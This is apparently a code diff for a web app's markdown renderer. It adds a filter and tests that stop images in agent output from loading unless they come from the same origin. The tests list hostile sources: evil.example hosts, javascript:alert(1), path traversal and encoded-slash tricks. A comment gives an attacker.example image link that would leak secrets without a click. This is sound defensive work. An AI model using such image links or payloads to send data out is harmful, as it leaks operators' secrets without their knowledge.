for (const src of [
"//evil.example/api/x.png",
"/\\evil.example/api/x.png",
"http://evil.example/api/x.png",
"javascript:alert(1)",
"data:image/png;base64,AAAA",
"/api/../evil.png",
"/uploads/../../evil.png",
"/api/%2e%2e/evil.png",
"/api/..%2fevil.png",
"/api/..%2Fevil.png",
"/uploads/%5c..%5cevil.png",
"/apix/a.png",
"/static/a.png",
"/logo.png",
]) {
assert.doesNotMatch(render(`![a](${src})`), /<img/, src);
}
});
test("sameOriginImageSrc allows only same-origin /api/ and /uploads/ paths", () => {
const origin = "http://127.0.0.1:8080";
const allow = md.sameOriginImageSrc;
assert.equal(allow("/api/a.png", origin), "/api/a.png");
assert.equal(allow("/uploads/a.png#x", origin), "/uploads/a.png#x");
assert.equal(allow("http://127.0.0.1:8080/api/a.png", origin), "/api/a.png");
assert.equal(allow("/uploads/../api/a.png", origin), "/api/a.png");
assert.equal(allow("/api/a.png", undefined), "/api/a.png");
for (const src of [
undefined,
"",
"http://127.0.0.1:8081/api/a.png",
"https://127.0.0.1:8080/api/a.png",
"http://127.0.0.1:8080/logo.png",
"//127.0.0.2/api/a.png",
"/\t/evil.example/api/a.png",
"/\\evil.example/api/a.png",
"\\\\evil.example/api/a.png",
"/api\\..\\..\\evil.png",
"javascript:alert(1)",
"data:image/png;base64,AAAA",
`blob:${origin}/0b6e6c1e-0000-4000-8000-000000000000`,
"/api/..%2f..%2fevil.png",
"http://user:pass@127.0.0.1:8080/api/a.png",
"http://user@127.0.0.1:8080/api/a.png",
]) {
assert.equal(allow(src, origin), undefined, String(src));
}
// Without a known page origin an absolute URL is never trusted.
assert.equal(allow("http://127.0.0.1:8080/api/a.png", undefined), undefined);
});
+59
View File
@@ -1,8 +1,42 @@
"use client";
import { ImageOff } from "lucide-react";
import ReactMarkdown, { type Components } from "react-markdown";
import remarkGfm from "remark-gfm";
import { httpHref } from "@/lib/http-href";
// Images in agent and target text are fetched by the operator's browser as soon as
// they render, so ![x](https://attacker.example/?d=secret) would leak data without
// a click. Only same-origin images under /api/ and /uploads/ load.
const IMAGE_PATH = /^\/(?:api|uploads)\//;
// sameOriginImageSrc returns the same-origin path to load for an image source, or
// undefined when the image must not load. The returned value is the normalized path
// (dot segments resolved), so what is checked is what the browser fetches.
export function sameOriginImageSrc(src: string | undefined, origin: string | undefined): string | undefined {
if (!src || src.includes("\\")) {
return undefined;
}
const base = origin ?? "http://origin.invalid";
let url: URL;
try {
url = new URL(src, base);
} catch {
return undefined;
}
if (
url.origin !== new URL(base).origin ||
url.username !== "" ||
url.password !== "" ||
!IMAGE_PATH.test(url.pathname) ||
/%(?:2f|5c)/i.test(url.pathname)
) {
return undefined;
}
return url.pathname + url.search + url.hash;
}
// Tailwind-styled element overrides (no typography plugin in this project, so we
// style each element). `node` is stripped — it's not a valid DOM attribute.
const components: Components = {
@@ -17,6 +51,31 @@ const components: Components = {
a: ({ node, ...p }) => (
<a className="text-primary underline underline-offset-2" target="_blank" rel="noreferrer" {...p} />
),
img: ({ node, src, alt, ...p }) => {
const raw = typeof src === "string" ? src : undefined;
const safe = sameOriginImageSrc(raw, typeof window === "undefined" ? undefined : window.location.origin);
if (safe) {
// biome-ignore lint/performance/noImgElement: same-origin API content, not a static asset next/image could optimize.
return <img {...p} src={safe} alt={alt} className="my-1 max-w-full" />;
}
// Not loaded: show the alt text and the URL so the operator can choose to open it.
const href = httpHref(raw);
const label = (
<>
<ImageOff className="mr-1 inline size-3.5 align-text-bottom" aria-hidden="true" />
{alt}
{alt && raw ? " " : null}
{raw ? <span className="break-all font-mono text-xs">{raw}</span> : null}
</>
);
return href ? (
<a className="text-primary underline underline-offset-2" href={href} target="_blank" rel="noreferrer">
{label}
</a>
) : (
<span className="text-muted-foreground">{label}</span>
);
},
hr: () => <hr className="my-2 border-border" />,
blockquote: ({ node, ...p }) => (
<blockquote className="my-1 border-l-2 border-border pl-2.5 text-muted-foreground" {...p} />